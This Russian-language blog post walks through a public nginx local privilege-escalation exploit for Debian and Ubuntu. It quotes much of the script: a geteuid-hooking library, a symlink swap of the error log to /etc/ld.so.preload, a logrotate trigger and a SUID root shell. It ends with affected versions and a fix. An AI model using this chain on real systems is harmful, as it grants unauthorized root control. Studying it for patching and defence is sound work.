Эксплоит для получения ROOT за счет повышения привилегий в Nginx

Сегодня мы расмотрим эксплоит Давида Голунского. На этот раз его руки и пытливый ум дотянулись до прокси-сервера nginx. Проблема довольно банальна и присутствует только в Debian-подобных дистрибутивах Linux (в том числе Ubuntu). При установке пакетов сервера из официальных репозиториев скрипт создает папку /var/log/nginx, владельцем которой является юзер www-data. Сам демон nginx работает от суперпользователя, поэтому создание симлинков вместо лог-файлoв позволяет манипулировать файлами от его имени.

Image result for exploit nginx root

EXPLOIT

После установки nginx через apt-get ты можешь проверить, что владелец папки с логами действительно пользователь www-data.

drwxr-x--- 2 www-data adm 4096 Dec  5 07:35 /var/log/nginx/

Теперь давай пробежимся по коду эксплоита и рассмотрим ключевые моменты успешной эксплуатации.

В качестве аргумента для запуска эксплоита указываем путь до лог-файла nginx.

40768.sh:

107: # Args
108: if [ $# -lt 1 ]; then
109:    echo -e "n[!] Exploit usage: nn$0 path_to_error.log n"
110:    echo -e "It seems that this server uses: `ps aux | grep nginx | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`n"
111:    exit 3
112: fi

Компилируем либу, которая будет ставить бит SUID на шелл и менять его владельца на root.

40768.sh:

53: PRIVESCLIB="/tmp/privesclib.so"
54: PRIVESCSRC="/tmp/privesclib.c"
...
135: cat <<_solibeof_>$PRIVESCSRC
...
156: /bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"

Библиотека хукает функцию geteuid. Если она вызывается от root, то нужные пермишены устанавливаются на файл с шеллом. В переменной old_geteuid хранится указатель на оригинальную geteuid, результат которой и возвращается после всех манипуляций.

[ad name=»MiBand2″]

40768.sh:

051: BACKDOORSH="/bin/bash"
052: BACKDOORPATH="/tmp/nginxrootsh"
...
145: uid_t geteuid(void) {
146:    static uid_t  (*old_geteuid)();
147:    old_geteuid = dlsym(RTLD_NEXT, "geteuid");
148:    if ( old_geteuid() == 0 ) {
149:        chown("$BACKDOORPATH", 0, 0);
150:        chmod("$BACKDOORPATH", 04777);
151:        unlink("/etc/ld.so.preload");
152:    }
153:    return old_geteuid();
154: }
...
164: cp $BACKDOORSH $BACKDOORPATH

Дальше скрипт удаляет оригинальный лог-файл и заменяет его симлинком на /etc/ld.so.preload.

40768.sh:

124: ERRORLOG="$1"
...
174: rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG

Магия /etc/ld.so.preaload заключается в том, что если этот файл существует, то каждый бинарник при запуске будет пoдгружать указанные в нем библиотеки.

Вот только писать файлы в /etc может исключительно рут. Пройдя по симлинку, эту рабoту за нас проделает nginx, а для этого нужно дождаться открытия лог-файлов. Происходит это в тех случаях, кoгда сервис перезагружается или его процесс получает сигнал USR1. В Debian такoй сигнал по умолчанию отправляет функция do_rotate(), которую вызывает скрипт logrotate.

/etc/logrotate.d/nginx:

01: /var/log/nginx/*.log {
02:         daily
...
08:         create 0640 www-data adm
...
15:         postrotate
16:                 invoke-rc.d nginx rotate >/dev/null 2>&1
17:         endscript

/etc/init.d/nginx:

88: #
89: # Rotate log files
90: #
91: do_rotate() {
92:         start-stop-daemon --stop --signal USR1 --quiet --pidfile $PID --name $NAME
93:         return 0
94: }

Настройки по умолчанию вызывают скрипт ротации логов ежедневно в 6:25 утра, и если nginx настроен на архивацию логов каждый день, то нужно подождать сутки до успешной эксплуатации.

[ad name=»Responbl»]

40768.sh:

185: echo -ne "n[+] Waiting for Nginx service to be restarted (-USR1) by logrotate called from cron.daily at 6:25am..."
186: while :; do
187:    sleep 1
188:    if [ -f /etc/ld.so.preload ]; then
189:        echo $PRIVESCLIB > /etc/ld.so.preload
190:        rm -f $ERRORLOG
191:        break;
192:    fi
193: done

Для демонстрации можно ускорить выполнение нужных функций командой /usr/sbin/logrotate -vf /etc/logrotate.d/nginx. Также стоит отметить, что архивация сработает, только если в файле access.log есть хотя бы одна запись. Поэтому в экcплоите выполняется следующая команда:

40768.sh:

182: curl http://localhost/ >/dev/null 2>/dev/null

Файл /etc/ld.so.preload создался, и его владельцем стал www-data:

-rw-r--r-- 1 www-data root 13 Dec 10 13:33 /etc/ld.so.preload

После успешного создания файла добавляем в него путь до скомпилированной библиотеки.

40768.sh:

53: PRIVESCLIB="/tmp/privesclib.so"
...
196: # Inject the privesc.so shared library to escalate privileges
197: echo $PRIVESCLIB > /etc/ld.so.preload
...
201: chmod 755 /etc/ld.so.preload

Последним шагом в эксплоите вызывается sudo для установки нужных привилегий на копию шелла.

40768.sh:

204: echo -e "n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
205: sudo 2>/dev/null >/dev/null

Вообще, сгодится любой бинарник, который принадлежит руту, имеет бит SUID и вызывает функцию geteuid, например mount.

Лог strace показывает нам, что все прошло успешно.

access("/etc/ld.so.preload", R_OK)      = 0
open("/etc/ld.so.preload", O_RDONLY|O_CLOEXEC) = 3
...
open("/tmp/privesclib.so", O_RDONLY|O_CLOEXEC) = 3
...
geteuid32()                             = 0
chown32("/tmp/nginxrootsh", 0, 0)       = 0
chmod("/tmp/nginxrootsh", 04777)        = 0
geteuid32()                             = 0

Результат работы эксплоита — суидная копия /bin/bash. Запускаем и получаем шелл с привилегиями суперпользователя. Pwned.

40768.sh:

052: BACKDOORPATH="/tmp/nginxrootsh"
...
227: echo -e "n[+] Spawning the rootshell $BACKDOORPATH now! n"
228: $BACKDOORPATH -p -i
Успешное пoвышение привилегий через nginx
Успешное повышение привилегий через nginx

TARGETS

В Debian — nginx младше 1.6.2-5+deb8u3, в Ubuntu 16.10 — nginx до версии 1.10.1-0ubuntu1.1, в 16.04 LTS — до 1.10.0-0ubuntu0.16.04.3, в 14.04 LTS — до 1.4.6-1ubuntu3.6.

[ad name=»Responbl»]

SOLUTION

Уязвимость была исправлена в новых версиях пакетов, так что советую всем обновиться как можно скорее. Или же ручками поправить права на папку с лог-файлами nginx.

Ссылки:

Click to rate this post!
[Total: 10 Average: 3.7]

Специалист в области кибер-безопасности. Работал в ведущих компаниях занимающихся защитой и аналитикой компьютерных угроз. Цель данного блога - простым языком рассказать о сложных моментах защиты IT инфраструктур и сетей.

Leave a reply:

Your email address will not be published.